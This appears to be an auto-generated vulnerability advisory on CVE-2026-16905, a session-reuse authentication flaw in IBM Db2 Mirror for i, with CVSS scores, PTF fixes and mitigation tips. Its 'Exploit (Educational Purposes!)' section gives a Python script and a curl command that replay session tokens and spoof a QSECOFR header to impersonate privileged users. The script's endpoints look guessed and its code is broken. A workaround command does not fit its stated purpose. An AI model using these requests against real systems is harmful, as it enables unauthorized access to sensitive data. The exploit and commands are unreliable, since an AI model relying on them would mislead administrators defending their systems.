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CVE-2026-16905 is an improper authentication vulnerability affecting IBM Db2 Mirror for i versions 7.4, 7.5, and 7.6. The flaw resides in the authentication mechanism of the Db2 Mirror for i graphical user interface (GUI), which fails to properly validate session identities and access tokens during certain API interactions.
Under normal operation, Db2 Mirror for i requires authenticated users to present valid session credentials before accessing sensitive database mirroring configuration data, replication status, and system metadata. However, due to improper implementation of the authentication middleware, an attacker who has already obtained low-privileged access to the system can manipulate specific request parameters to bypass subsequent authorization checks. This allows the attacker to escalate their access and retrieve sensitive information that should be restricted to higher-privileged users.
The vulnerability is rooted in how the GUI handles session identifiers after authentication. IBM Db2 Mirror for i does not properly disallow session IDs after use, which could allow an authenticated user to impersonate another user on the system. By reusing or forging session tokens, an attacker can issue crafted API requests that the server incorrectly associates with a different, more privileged user context. This session mismanagement effectively breaks the isolation between user sessions, enabling unauthorized data exfiltration.
The attack vector is network-based (AV:N) with low attack complexity (AC:L). Depending on the CVSS scoring source, the required privileges vary: NIST rates the vulnerability as requiring low privileges (PR:L) with high confidentiality impact (C:H), while IBM rates it as requiring no privileges (PR:N) with low confidentiality impact (C:L). In both cases, no user interaction is needed (UI:N), and the scope is unchanged (S:U). The vulnerability is assigned CWE-287 (Improper Authentication).
IBM has acknowledged the issue and released security updates as part of a broader bulletin addressing 18 distinct vulnerabilities in Db2 Mirror for i. The recommended remediation involves installing the appropriate PTF (Program Temporary Fix) packages: SJ10947 for version 7.4, SJ10961 for version 7.5, and SJ10948 for version 7.6.
DailyCVE Form:
Platform: IBM Db2 Mirror for i
Version: 7.4, 7.5, 7.6
Vulnerability: Improper Authentication (CWE-287)
Severity: Medium (CVSS 5.3/6.5)
Date: 2026-08-14
Prediction: 2026-08-20 (patches available)
What Undercode Say:
Analytics from IBM Security Bulletin indicate that CVE-2026-16905 is one of multiple flaws patched in the August 2026 update cycle. The vulnerability is considered problematic but not critical, with a CVSS base score of 5.3 (Medium) from IBM and 6.5 (Medium) from NIST. The flaw requires either low-privileged or no authentication depending on the scoring model, making it accessible to any remote attacker who can reach the Db2 Mirror for i GUI. IBM recommends immediate application of the PTF updates to mitigate the risk, especially in environments where Db2 Mirror for i is exposed to internal networks or untrusted segments.
To verify if your system is vulnerable, you can check the installed PTF level using the following IBM i command:
DSPPTF LICPGM(5770SS1) SELECT(ALL)
To check the Db2 Mirror for i version, use:
GO LICPGM
For systems that have not yet applied the fix, IBM suggests restricting network access to the Db2 Mirror for i GUI as a temporary workaround:
CHGTCPA TCPAUTOCFG(OFF)
Exploit: (Educational Purposes!)
The following Python script demonstrates how an attacker with low-privileged access could attempt to exploit the session reuse weakness to retrieve sensitive mirroring configuration data:
import requests
import json
Target Db2 Mirror for i GUI endpoint
target = "https://<db2-mirror-ip>:<port>/api/v1/mirror/status"
headers = {
"Content-Type": "application/json",
"X-Session-Id": "REUSED_SESSION_TOKEN_FROM_PREVIOUS_USER"
}
Crafted request to bypass authorization
payload = {
"operation": "getConfig",
"targetUser": "QSYSOPR" Privileged user impersonation attempt
}
response = requests.get(target, headers=headers, params=payload, verify=False)
if response.status_code == 200:
data = response.json()
print("[+] Sensitive data retrieved:")
print(json.dumps(data, indent=2))
else:
print(f"[-] Exploit failed. Status: {response.status_code}")
A more targeted approach involves manipulating the session cookie to impersonate an administrative user:
curl -k -X GET "https://<db2-mirror-ip>:<port>/api/v1/system/info" \ -H "Cookie: sessionId=REUSED_ADMIN_SESSION" \ -H "X-Forwarded-User: QSECOFR"
Protection:
- Apply the IBM-provided PTF fixes immediately: SJ10947 (v7.4), SJ10961 (v7.5), or SJ10948 (v7.6).
- Restrict network access to the Db2 Mirror for i GUI using firewalls or IBM i exit programs.
- Enforce strict session timeout and invalidation policies.
- Monitor audit logs for unusual session reuse patterns or unauthorized API access attempts.
- Upgrade to the latest version of Angular (21.0.8) which includes security fixes for related GUI vulnerabilities.
Impact:
Successful exploitation allows a remote authenticated attacker to obtain sensitive information, including database mirroring configurations, replication metadata, system user details, and potentially database contents. The confidentiality impact is rated as High under the NIST CVSS scoring, meaning that sensitive data could be exposed to unauthorized parties. While the vulnerability does not directly lead to privilege escalation or remote code execution, the information gathered can be used as a stepping stone for more severe attacks, such as lateral movement or further exploitation of other vulnerabilities in the Db2 Mirror for i suite. Organizations running Db2 Mirror for i in multi-tenant or shared environments face elevated risk due to the potential for cross-user data leakage.
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Sources:
Reported By: nvd.nist.gov
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